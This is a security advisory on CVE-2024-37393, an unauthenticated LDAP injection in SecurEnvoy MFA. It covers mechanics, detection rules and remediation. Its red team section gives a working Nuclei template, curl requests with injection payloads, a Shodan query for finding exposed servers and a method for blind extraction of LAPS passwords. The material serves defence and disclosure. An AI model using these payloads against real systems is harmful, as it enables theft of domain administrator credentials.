CVE-2024-37393

Executive Summary

CVE-2024-37393 is a critical LDAP injection vulnerability in SecurEnvoy MFA (Multi-Factor Authentication) solutions prior to version 9.4.514. An unauthenticated remote attacker can exploit this flaw by sending specially crafted HTTP POST requests to the /secserver endpoint, targeting the DESKTOP service. Successful exploitation allows for blind LDAP injection, enabling the exfiltration of sensitive data from Active Directory, including cleartext Local Administrator Password Solution (LAPS) passwords (ms-Mcs-AdmPwd attribute). The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) and a high EPSS score of 0.84656, indicating active exploitation in the wild. Public proof-of-concept (PoC) code exists via a Nuclei template, and no official patch details were available at the time of analysis, though the vendor has released version 9.4.514 to address the issue.

Supply Chain & Package Security

This vulnerability does not affect open-source packages (NPM, PyPI, Go, Ruby). It is a proprietary enterprise software product (SecurEnvoy MFA). The risk is limited to organizations that deploy this on-premise solution.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated exploitation.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full disclosure of AD data, including LAPS passwords.
• Integrity Impact: High (I:H) – Potential to modify AD objects via injection.
• Availability Impact: High (A:H) – Could lead to denial of service or account lockouts.
• EPSS Score: 0.84656 (99.34th percentile) – High probability of exploitation.
• Threat Level: Critical. Immediate patching required.

Deep Dive & Mechanics

The vulnerability resides in the /secserver HTTP endpoint of the SecurEnvoy MFA DESKTOP service. The application fails to properly sanitize user-supplied input in the USERID parameter during LDAP authentication queries. An attacker can inject LDAP filter syntax to manipulate the query logic.

Attack Flow:

1. The attacker sends a POST request to /secserver/ with FLAG=DESKTOP, STATUS=INIT, and a malicious USERID value.
2. The injected payload (e.g., *)(sAMAccountName=*) breaks out of the intended LDAP filter and appends a new condition.
3. The server processes the modified LDAP query against Active Directory.
4. Based on the server's response (e.g., "Error checking Group" vs. "GETPASSCODE"), the attacker can perform blind LDAP injection to extract data character by character.
5. This allows exfiltration of sensitive attributes like ms-Mcs-AdmPwd (LAPS cleartext password).

Root Cause: Improper input validation and lack of LDAP query parameterization. The application concatenates user input directly into LDAP search filters.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Vulnerable: Direct concatenation of user input into LDAP filter
user_input = request.POST.get('USERID')
ldap_filter = f"(&(objectClass=user)(sAMAccountName={user_input}))"
results = ldap_search(ldap_filter)

Patched Code (Conceptual):

# Patched: Use of parameterized LDAP queries or strict input validation
import ldap3
from ldap3.utils.conv import escape_filter_chars

user_input = request.POST.get('USERID')
safe_input = escape_filter_chars(user_input)  # Escape LDAP special characters
ldap_filter = f"(&(objectClass=user)(sAMAccountName={safe_input}))"
results = ldap_search(ldap_filter)

The patch in version 9.4.514 likely implements proper escaping of LDAP special characters (*, (, ), \, NUL) or uses parameterized queries to prevent injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running SecurEnvoy MFA < 9.4.514 with /secserver exposed.
• Network access to the HTTP endpoint.

Exploitation Steps:

1. Reconnaissance: Identify the /secserver endpoint using Shodan (title:"SecurEnvoy") or manual browsing.
2. Initial Probe: Send a benign request to confirm the service is running.
3. Blind LDAP Injection: Use the provided Nuclei template or craft custom payloads to extract data.

Nuclei Template (Provided):

id: CVE-2024-37393
info:
  name: SecurEnvoy Two Factor Authentication - LDAP Injection
  author: s4e-io
  severity: critical
  description: |
    Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.
  impact: |
    Unauthenticated attackers can exploit LDAP injection to exfiltrate sensitive Active Directory data including cleartext LAPS passwords.
  remediation: |
    Update SecurEnvoy MFA to version 9.4.514 or later.
  reference:
    - https://www.tenable.com/cve/CVE-2024-37393
    - https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393
    - https://securenvoy.com
  classification:
    cve-id: CVE-2024-37393
    cwe-id: CWE-89
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    epss-score: 0.84656
    epss-percentile: 0.9934
    cpe: cpe:2.3:a:securenvoy:multi-factor_authentication_solutions:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: title:"SecurEnvoy"
    fofa-query: title="SecurEnvoy"
  tags: cve,cve2024,securenvoy,ldap,vuln,vkev

variables:
  userid: "{{to_lower(rand_base(20))}}"

http:
  - raw:
      - |
        POST /secserver/? HTTP/1.1
        Host: {{Hostname}}

        FLAG=DESKTOP
        1
        STATUS:INIT
        USERID:{{userid}})(sAMAccountName=*
        MEMBEROF:Domain Users

      - |
        POST /secserver/? HTTP/1.1
        Host: {{Hostname}}

        FLAG=DESKTOP
        1
        STATUS:INIT
        USERID:*)(sAMAccountName=*
        MEMBEROF:Domain Users

    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'Error checking Group')"
          - "status_code_1 == 200"
          - "contains(body_2, 'GETPASSCODE')"
          - "status_code_2 == 200"
        condition: and

Manual Exploitation (cURL):

# Step 1: Test for injection (should return "Error checking Group")
curl -X POST "http://target.com/secserver/" \
  -d "FLAG=DESKTOP
1
STATUS:INIT
USERID:testuser)(sAMAccountName=*
MEMBEROF:Domain Users"

# Step 2: Confirm successful injection (should return "GETPASSCODE")
curl -X POST "http://target.com/secserver/" \
  -d "FLAG=DESKTOP
1
STATUS:INIT
USERID:*)(sAMAccountName=*
MEMBEROF:Domain Users"

Data Exfiltration (Blind): Use a script to extract ms-Mcs-AdmPwd by iterating through characters and checking response differences.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /secserver/ with unusual USERID values containing LDAP special characters (*, (, ), |, &, !, ~, =, <, >, etc.).
• Look for multiple requests with varying USERID values in a short time (indicating blind injection attempts).
• Alert on responses containing both "Error checking Group" and "GETPASSCODE" from the same source IP.

Hunting:

• Search logs for USERID parameters containing sAMAccountName=* or similar LDAP filter syntax.
• Correlate with failed authentication attempts against Active Directory.

Containment:

• Immediately isolate the SecurEnvoy server if exploitation is suspected.
• Block access to /secserver endpoint from untrusted networks.
• Rotate all LAPS passwords and review AD audit logs for unauthorized access.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_37393_SecurEnvoy_LDAP_Injection {
    meta:
        description = "Detects LDAP injection attempts against SecurEnvoy MFA"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37393"
        severity = "critical"
    strings:
        $payload1 = "USERID:*)(sAMAccountName=*" ascii wide nocase
        $payload2 = "USERID=" ascii wide nocase
        $ldap_chars = /[\(\)\*\&\|!~=<>]/ ascii wide
        $endpoint = "/secserver/" ascii wide nocase
    condition:
        $endpoint and ($payload1 or ($payload2 and #ldap_chars >= 3))
}

Sigma Rule

title: CVE-2024-37393 SecurEnvoy MFA LDAP Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /secserver/ with LDAP injection payloads in USERID parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37393
    - https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/secserver/'
        cs-uri-query|contains: 'USERID='
    filter:
        cs-uri-query|contains:
            - 'sAMAccountName=*'
            - ')(sAMAccountName=*'
            - '|(sAMAccountName=*'
    condition: selection and filter
falsepositives:
    - Legitimate use of wildcards in LDAP queries (unlikely)
level: critical
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2024.37393

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-37393 SecurEnvoy MFA LDAP Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/secserver/"; http_uri;
    content:"USERID="; http_client_body;
    pcre:"/USERID=[^&]*[\(\)\*\&\|!~=<>]/Ri";
    reference:cve,2024-37393;
    reference:url,www.optistream.io/blogs/tech/securenvoy-cve-2024-37393;
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update SecurEnvoy MFA to version 9.4.514 or later. Contact vendor for patch details.
2. Workaround: If patching is not possible, restrict network access to the /secserver endpoint using firewall rules or WAF (Web Application Firewall) to block untrusted IPs.
3. WAF Rule: Block POST requests to /secserver/ containing LDAP special characters in the USERID parameter.

Long-term Mitigations:

• Implement input validation and output encoding for all user-supplied data in LDAP queries.
• Use parameterized LDAP queries (e.g., ldap3 library's escape_filter_chars).
• Conduct regular security audits and penetration testing on exposed services.
• Monitor for similar vulnerabilities in other MFA solutions.

Post-Exploitation Recovery:

• Rotate all Active Directory credentials, especially LAPS passwords.
• Review AD audit logs for unauthorized access or modifications.
• Reset service accounts used by SecurEnvoy MFA.

Valters IT

{/* [Security Hash: BF0B7C28F4E401B56012C7D0] */}